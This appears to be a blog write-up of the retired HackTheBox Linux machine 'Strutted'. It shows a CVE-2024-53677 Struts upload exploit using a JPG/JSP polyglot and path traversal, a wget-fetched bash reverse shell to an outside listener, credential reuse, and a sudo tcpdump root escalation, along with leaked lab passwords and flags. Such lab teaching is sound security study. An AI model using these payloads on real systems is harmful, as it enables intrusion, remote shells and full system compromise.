“Strutted” is a medium-difficulty Linux machine on HackTheBox that centers on the exploitation of a web application. The initial foothold is gained by exploring an unusual feature of the web server: a downloadable archive of the application’s source code. This archive serves as a crucial piece of intelligence, containing leaked credentials and revealing the use of a vulnerable Apache Struts framework.
The path to a user shell involves exploiting a known file upload vulnerability within the Struts framework, which allows a malicious web shell to be executed on the server. From the initial tomcat user shell, a second set of exposed credentials provides access to the james user account. The final stage of the challenge is a classic privilege escalation scenario, leveraging a misconfigured sudo permission that allows a binary to be run with root privileges, leading to a complete system compromise.
Challenge Overview #
CTF Name: Strutted
Category: Machine - Linux
Active/Retired (at pwn): Retired
Difficulty: Medium
Author: TheCyberGeek & 7u9y
Date Released: 23 Jan 2025
Date Completed: 15 Aug 2025
CTF Link: https://app.hackthebox.com/machines/Strutted
Own #
Network Enumeration with Nmap #
rlcthd@local:~$ nmap -sV -sC --open 10.10.11.59
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-15 13:51 EEST
Nmap scan report for 10.10.11.59
Host is up (0.049s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol
2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Two ports are open, 22 ssh and 80 http.
Web Server #
We can use cURL
to retrieve server header information from the command line:
rlcthd@local:~$ curl -iL 10.10.11.59
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 15 Aug 2025 10:57:04 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://strutted.htb/
curl: (6) Could not resolve host: strutted.htb
We should map strutted.htb
domain to the server’s ip, because we get a 302
status code, also known as “Found” or previously “Moved Temporarily”. It indicates that the requested resource has been temporarily moved to a different URL (http://strutted.htb
).
rlcthd@local:~$ echo "10.10.11.59 strutted.htb" | sudo tee -a /etc/hosts
Now we can access the website, which is file upload service:
<!DOCTYPE html>
<html lang="en">
<head>
<title>Strutted™ - Instant Image Uploads</title>
---snip---
On the front page:
Interested in our setup? We provide a Docker image that showcases the Strutted™ environment. Click the Download link on the menu to explore our Docker image to see how our platform is configured, and use it as a base template for your own projects.
This might be extremely useful, because it could contain the exact server side code, configurations, and library versions the upload feature uses. This allows us to test payloads locally, discover bypasses for file types, identify vulnerable components (e.g., outdated image processors), and maybe extract hardcoded credentials in the environment that could be reused against the live target.
Server Side info #
After clicking Download
(http://strutted.htb/download.action
), a strutted.zip
of ~38M is downloaded:
rlcthd@local:~$ tree
.
├── context.xml
├── Dockerfile
├── README.md
├── strutted
│ ├── mvnw
│ ├── mvnw.cmd
│ ├── pom.xml
│ ├── src
│ │ └── main
│ │ ├── java
│ │ │ └── org
│ │ │ └── strutted
│ │ │ └── htb
│ │ │ ├── AboutAction.java
│ │ │ ├── DatabaseUtil.java
│ │ │ ├── HowAction.java
│ │ │ ├── Upload.java
│ │ │ ├── URLMapping.java
│ │ │ └── URLUtil.java
│ │ ├── resources
│ │ │ └── struts.xml
│ │ └── webapp
│ │ └── WEB-INF
│ │ ├── about.jsp
│ │ ├── error.jsp
│ │ ├── how.jsp
│ │ ├── showImage.jsp
│ │ ├── success.jsp
│ │ ├── upload.jsp
│ │ └── web.xml
│ └── target
│ ├── classes
│ │ ├── org
│ │ │ └── strutted
│ │ │ └── htb
│ │ │ ├── AboutAction.class
│ │ │ ├── DatabaseUtil.class
│ │ │ ├── HowAction.class
│ │ │ ├── Upload.class
│ │ │ ├── URLMapping.class
│ │ │ └── URLUtil.class
│ │ └── struts.xml
│ ├── generated-sources
│ │ └── annotations
│ ├── maven-archiver
│ │ └── pom.properties
│ ├── maven-status
│ │ └── maven-compiler-plugin
│ │ └── compile
│ │ └── default-compile
│ │ ├── createdFiles.lst
│ │ └── inputFiles.lst
│ ├── strutted-1.0.0
│ │ ├── META-INF
│ │ └── WEB-INF
│ │ ├── about.jsp
│ │ ├── classes
│ │ │ ├── org
│ │ │ │ └── strutted
│ │ │ │ └── htb
│ │ │ │ ├── AboutAction.class
│ │ │ │ ├── DatabaseUtil.class
│ │ │ │ ├── HowAction.class
│ │ │ │ ├── Upload.class
│ │ │ │ ├── URLMapping.class
│ │ │ │ └── URLUtil.class
│ │ │ └── struts.xml
│ │ ├── error.jsp
│ │ ├── how.jsp
│ │ ├── lib
│ │ │ ├── commons-fileupload-1.5.jar
│ │ │ ├── commons-io-2.13.0.jar
│ │ │ ├── commons-lang3-3.13.0.jar
│ │ │ ├── commons-text-1.10.0.jar
│ │ │ ├── freemarker-2.3.32.jar
│ │ │ ├── javassist-3.29.0-GA.jar
│ │ │ ├── javax.servlet-api-4.0.1.jar
│ │ │ ├── log4j-api-2.20.0.jar
│ │ │ ├── ognl-3.3.4.jar
│ │ │ ├── sqlite-jdbc-3.47.1.0.jar
│ │ │ └── struts2-core-6.3.0.1.jar
│ │ ├── success.jsp
│ │ ├── upload.jsp
│ │ └── web.xml
│ └── strutted-1.0.0.war
├── strutted.zip
└── tomcat-users.xml
31 directories, 58 files
Starting with a recursive grep for common credential keywords (username
, password
, passwd
, secret
, token
, key
) is quick, low-effort, and often pays off. Developers frequently leave these in config files, scripts, .env
files, or even test data inside the image:
rlcthd@local:~$ grep -r username
tomcat-users.xml: <user username="admin" password="skqKY6360z!Y" rol
es="manager-gui,admin-gui"/>
Admin user: admin
Admin pass: skqKY6360z!Y
Before we make use of the credentials, another useful and quick thing to do is have a clean list of various config files:
rlcthd@local:~$ find . -type f \( -name "*.env" -o -name "*.yml" -o -name "*.xml" -o -name "*.conf" -o -name "*.properties" \)
./tomcat-users.xml
./strutted/target/classes/struts.xml
./strutted/target/strutted-1.0.0/WEB-INF/classes/struts.xml
./strutted/target/strutted-1.0.0/WEB-INF/web.xml
./strutted/target/maven-archiver/pom.properties
./strutted/pom.xml
./strutted/src/main/resources/struts.xml
./strutted/src/main/webapp/WEB-INF/web.xml
./context.xml
From these configs:
The application uses apache struts-2.5
version 6.3.0.1
Maximum size upload: 2097152
b
Allowed extensions: jpg, jpeg, png, gif
CVE-2024-53677 #
Apache Struts is an open-source framework for building enterprise-ready Java web applications. It aims to simplify the development, deployment, and maintenance of web applications.
Apache has announced a critical vulnerability affecting Apache Struts (CVE-2024-53677):
The flaw lies in Struts’ file upload mechanism; affected versions include Struts 2.0.0 through 2.3.37 (End-of-life), Struts 2.5.0 through 2.5.33, and Struts 6.0.0 through 6.3.0.2. Attackers can manipulate file upload parameters to enable path traversal, allowing them to place malicious files into otherwise restricted directories. Under certain conditions, this can lead to remote code execution, enabling unauthorized actors to run arbitrary code, exfiltrate sensitive data, or compromise entire systems. - source
When attempting to upload a simple image, we get a “Congratulations! Your image has been securely uploaded and is now accessible via a shareable link.” However, the copy shareable link
button does not work. The link can easily be found in the inspector.
<img src="[uploads/20250815_113624/wp7203252-men-i-trust-wallpapers.jpg](view-source:http://strutted.htb/uploads/20250815_113624/wp7203252-men-i-trust-wallpapers.jpg)" alt="Uploaded File"/>
This site is served from ROOT
in Tomcat, including /uploads/
inside it. baseUploadDirectory = /usr/local/tomcat/webapps/ROOT/uploads/
That’s inside Tomcat’s webapps/ROOT
, which means uploaded files are web-accessible and, if executable, Tomcat will execute them.
After some reading about the vulnerability and Tomcat server, I concluded that Tomcat treats .jsp
files as server-side code. So If I can smuggle a .jsp
file into /uploads/
, I can probably get RCE.
I will try this: https://gist.github.com/nikallass/5ceef8c8c02d58ca2c69a29a92d2f461
After trying to upload totally_not_a_shell.jsp.jpg
I get a The file does not appear to be a valid image
error. That error strongly suggests the backend is not just checking the filename extension or MIME type, it’s actually verifying the uploaded file’s content by trying to parse it as an image.
So after some more reading, I pivoted to using a polyglot approach: a single file that is simultaneously a valid image (to pass the content check) and a JSP script (to allow code execution). The trick is that the server only sees the image portion when validating the upload, but Tomcat executes the JSP portion when accessed via HTTP.
Even with a polyglot, the normal upload path (upload
) only saves it under its original name and in a “safe” directory. That’s why I added the top.UploadFileName=../../totally_not_a_shell.jsp
parameter. By including ../../
in the filename, I could break out of the upload folder and place the JSP directly into a location under webapps/ROOT
, making it web-accessible at the root.
RCE #
Create some jpg image:
rlcthd@local:~$ convert -size 1x1 xc:white minimal.jpg
On the website, open web inspector, go to network, upload any image and look for POST requests, copy as CURL:
curl 'http://strutted.htb/upload.action' \
--compressed \
-X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.5' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Content-Type: multipart/form-data; boundary=----geckoformboundary3a14352db9039f8b4222c256737fb48e' \
-H 'Origin: http://strutted.htb' \
-H 'Connection: keep-alive' \
-H 'Referer: http://strutted.htb/upload.action' \
-H 'Cookie: JSESSIONID=7B9C61B40619ACFFE01B52FB4E82F223' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'Priority: u=0, i' \
--data-binary \
$'------geckoformboundary3a14352db9039f8b4222c256737fb48e\r\nContent-Disposition: form-data; name="upload"; filename="minimal.jpg"\r\nContent-Type: image/jpeg\r\n\r\n------geckoformboundary3a14352db9039f8b4222c256737fb48e--\r\n'
Now we’ll need to change to add the jsp code. But also, using upload
(lowercase) hits the normal Java method, which validates file type (Only image files can be uploaded!
).
Using Upload
(uppercase U) is what the OGNL interceptor expects for the vulnerability to trigger. That’s why adding the second parameter and renaming it correctly is necessary.
So it’s not just about having a file named .jsp
, the parameter name controls whether the server runs the special OGNL logic that allows arbitrary placement of the file.
Create the jpg image with the appended code at the end.
cat minimal.jpg totally_not_a_shell.jsp > polyglot.jpg
Modify the CURL request:
curl 'http://strutted.htb/upload.action' \
--compressed \
-X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.5' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Origin: http://strutted.htb' \
-H 'Connection: keep-alive' \
-H 'Referer: http://strutted.htb/upload.action' \
-H 'Cookie: JSESSIONID=7B9C61B40619ACFFE01B52FB4E82F223' \
-H 'Upgrade-Insecure-Requests: 1' \
-F 'Upload=@polyglot.jpg;type=image/jpeg' \
-F 'top.UploadFileName=../../totally_not_a_shell.jsp'
Reminder: Even with a polyglot, the normal upload path (upload
) only saves it under its original name and in a “safe” directory. That’s why I added the top.UploadFileName=../../totally_not_a_shell.jsp
parameter.
The shell will open at http://strutted.htb/totally_not_a_shell.jsp?cmd=id
Command: id
uid=998(tomcat) gid=998(tomcat) groups=998(tomcat)
We can’t run a reverse shell script straight in the web shell because Runtime.getRuntime().exec()
doesn’t handle interactive shells well. The bash -i >& /dev/tcp/...
trick relies on a fully interactive terminal, which JSP/Java doesn’t provide.
Create a reverse shell script and host it on a local server:
rlcthd@local:~$ cat shshsh.sh
bash -c 'bash -i >& /dev/tcp/10.10.14.62/1234 0>&1'
rlcthd@local:~$ sudo python3 -m http.server 80
10.10.11.59 - - [15/Aug/2025 16:35:16] "GET /shshsh.sh HTTP/1.1" 200 -
In the web shell:
wget http://10.10.14.62/shshsh.sh -O /tmp/shell.sh
bash /tmp/shell.sh
And on the nc listener:
nc -lvnp 1234
Connection received on 10.10.11.59 47714
tomcat@strutted:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:998:998:Apache Tomcat:/var/lib/tomcat9:/usr/sbin/nologin
james:x:1000:1000:Network Administrator:/home/james:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
User Flag #
We observe that James
is the Network Admin and has his own folder (the only one) in /home
.
tomcat@strutted:~$ ls conf
Catalina
catalina.properties
context.xml
jaspic-providers.xml
logging.properties
policy.d
server.xml
tomcat-users.xml
web.xml
tomcat@strutted:~$ cat conf/tomcat-users.xml
---snip---
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
---snip---
We can try to ssh with this password. But first, upgrade the TTY:
tomcat@strutted:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
After we run this command, we will hit ctrl+z
to background our shell and get back on our local terminal, and input the following stty
command:
tomcat@strutted:~$ ^Z
rlcthd@local $ stty raw -echo
rlcthd@local $ fg
[Enter]
[Enter]
tomcat@strutted:~$
SSH with James username:
tomcat@strutted:~$ ssh james@strutted.htb
---snip---
james@strutted:~$ cat user.txt
2c8efb7b17da3660799bbe030d878827
And just like this we got the user flag: 2c8efb7b17da3660799bbe030d878827
Root Flag #
Now for the root flag:
james@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/
sbin\:/bin\:/snap/bin,
use_pty
User james may run the following commands on localhost:
(ALL) NOPASSWD: /usr/sbin/tcpdump
James can run tcpdump as root.
If the binary is allowed to run as superuser by sudo
, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
Create a script escalate.sh
COMMAND='cat /root/root.txt > root.txt'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
james@strutted:~$ bash escalate.sh
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length
262144 bytes
Maximum file limit reached: 1
1 packet captured
8 packets received by filter
0 packets dropped by kernel
james@strutted:~$ cat root.txt
2a9bd51aeb9799b93d5a3cf9d4780761
This method can of course be used to spawn a root shell.
The root flag: 2a9bd51aeb9799b93d5a3cf9d4780761
FLAG #
User Flag: 2c8efb7b17da3660799bbe030d878827
Root Flag: 2a9bd51aeb9799b93d5a3cf9d4780761
Lessons Learnt #
-
The source code, provided as a download, contained credentials for the Tomcat manager. This highlights that any publicly exposed project files, even for a “template,” must be scrubbed of sensitive information before being released.
-
The application was running a version of Apache Struts (2.5.0 through 6.3.0.2) with a critical, known vulnerability (
CVE-2024-53677
). The system was not updated or patched in time, creating a window for exploitation. -
With the use of a
.jsp
web shell, we could access a persistent backdoor. While not as stealthy as other methods, web shells are a common post-exploitation technique that can be detected through regular file integrity monitoring and by checking for unusual file extensions in web-accessible directories. -
The
james
user was granted excessive permissions to run/usr/sbin/tcpdump
as root without a password. This is a clear case of over-privileged access. Implementing the principle of least privilege and carefully auditingsudo
permissions can prevent such straightforward privilege escalation. -
The entire attack, could have been detected. The web shell’s execution and the subsequent network traffic (for example
wget
to download the reverse shell) should have triggered alerts in a security monitoring system.
Get Involved #
I think knowledge should be shared and discussions encouraged. So, don’t hesitate to ask questions, or suggest topics you’d like me to cover in future posts.
Stay Connected #
You can contact me at ion.miron@tutanota.com